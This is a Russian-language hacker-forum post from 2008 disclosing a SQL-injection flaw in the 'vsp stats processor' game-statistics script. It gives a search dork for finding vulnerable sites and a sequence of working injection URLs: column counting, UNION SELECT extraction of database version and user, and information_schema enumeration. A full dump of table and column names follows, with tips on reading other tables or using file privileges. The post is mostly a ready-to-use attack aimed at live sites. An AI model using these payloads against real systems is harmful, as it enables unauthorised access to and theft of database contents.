Форум АНТИЧАТ - [ Уязвимости статистики для онлайн игр ]

[ Уязвимости статистики для онлайн игр ]

16.01.2008, 16:43

halkfild

Leaders of Antichat - Level 4

Регистрация: 11.11.2005

Сообщений: 391

Провел на форуме:
7084941

Репутация: 2277

[ Уязвимости статистики для онлайн игр ]

название: vsp stats processor
версия: 0.45 /*старше не встречал*/
dork: "powered by vsp stats processor"
тип уязвимости: SQL-injection

пути могут вариироватся

Цитата:

http://site/statistics/cod2stats/pub/themes/bismarck/gamestat.php?gameID=117958872373782600+and+1=1/*'&config=cfg-default.php

http://site/statistics/cod2stats/pub/themes/bismarck/gamestat.php?gameID=117958872373782600+order+by+10/*'&config=cfg-default.php

вывод

Цитата:

http://site/statistics/cod2stats/pub/themes/bismarck/gamestat.php?gameID=117958872373782600+union+selec t+11111,22222,33333,44444,555555,66666,777777,8888 8,99999,10/*'&config=cfg-default.php

смотрим куда можна вывести

Цитата:

http://site/statistics/cod2stats/pub/themes/bismarck/gamestat.php?gameID=117958872373782600+union+selec t+11111,22222,33333,44444,555555,66666,777777,conc at_ws(0x3a3a,version(),user(),database()),99999,10/*'&config=cfg-default.php

5.0.22::cod2stats@192.168.255.76::cod2stats

Цитата:

http://site/statistics/cod2stats/pub/themes/bismarck/gamestat.php?gameID=117958872373782600+union+selec t+11111,22222,33333,44444,555555,66666,777777,conc at_ws(0x3a3a,table_schema,table_name),99999,10+fro m+information_schema.tables/*'&config=cfg-default.php

вывод красивый..смотрим.. /*красивый потому, что видно сразу весь вывод, не нужно лимитом*/

поля и таблицы системы

Цитата:

Cod2stats::vspawards
Cod2stats::vspeventdata1d
Cod2stats::vspeventdata2d
Cod2stats::vspgamedata
Cod2stats::vspplayerdata
Cod2stats::vspplayerprofile
Cod2stats::vspq3awardsaccuracy
Cod2stats::vspq3eventdata1d
Cod2stats::vspq3eventdata2d
Cod2stats::vspq3gamedata
Cod2stats::vspq3playerdata
Cod2stats::vspq3playerprofile
Cod2stats::vspawards::awardid
Cod2stats::vspawards::category
Cod2stats::vspawards::image
Cod2stats::vspawards::name
Cod2stats::vspawards::playerid
Cod2stats::vspawards::sqlrq
Cod2stats::vspeventdata1d::eventcategory
Cod2stats::vspeventdata1d::eventname
Cod2stats::vspeventdata1d::eventvalue
Cod2stats::vspeventdata1d::gameid
Cod2stats::vspeventdata1d::playerid
Cod2stats::vspeventdata1d::role
Cod2stats::vspeventdata1d::round
Cod2stats::vspeventdata1d::team
Cod2stats::vspeventdata2d::eventcategory
Cod2stats::vspeventdata2d::eventname
Cod2stats::vspeventdata2d::eventvalue
Cod2stats::vspeventdata2d::gameid
Cod2stats::vspeventdata2d::player2id
Cod2stats::vspeventdata2d::playerid
Cod2stats::vspeventdata2d::role
Cod2stats::vspeventdata2d::role2
Cod2stats::vspeventdata2d::round
Cod2stats::vspeventdata2d::team
Cod2stats::vspeventdata2d::team2
Cod2stats::vspgamedata::gameid
Cod2stats::vspgamedata::name
Cod2stats::vspgamedata::value
Cod2stats::vspplayerdata::dataname
Cod2stats::vspplayerdata::datano
Cod2stats::vspplayerdata::datavalue
Cod2stats::vspplayerdata::gameid
Cod2stats::vspplayerdata::playerid
Cod2stats::vspplayerprofile::deathstreak
Cod2stats::vspplayerprofile::deaths
Cod2stats::vspplayerprofile::games
Cod2stats::vspplayerprofile::killstreak
Cod2stats::vspplayerprofile::kills
Cod2stats::vspplayerprofile::playerid
Cod2stats::vspplayerprofile::playername
Cod2stats::vspplayerprofile::skill
Cod2stats::vspq3awardsaccuracy::accuracy
Cod2stats::vspq3awardsaccuracy::games
Cod2stats::vspq3awardsaccuracy::hits
Cod2stats::vspq3awardsaccuracy::playerid
Cod2stats::vspq3awardsaccuracy::playername
Cod2stats::vspq3awardsaccuracy::shots
Cod2stats::vspq3awardsaccuracy::weaponid

p.s. админки тут как таковой нет.. поэтому использовать можно для вывода других таблиц или если есть права на заливку/чтение файлов
p.p.s. используется на серверах провайдеров /*локалки и тд*/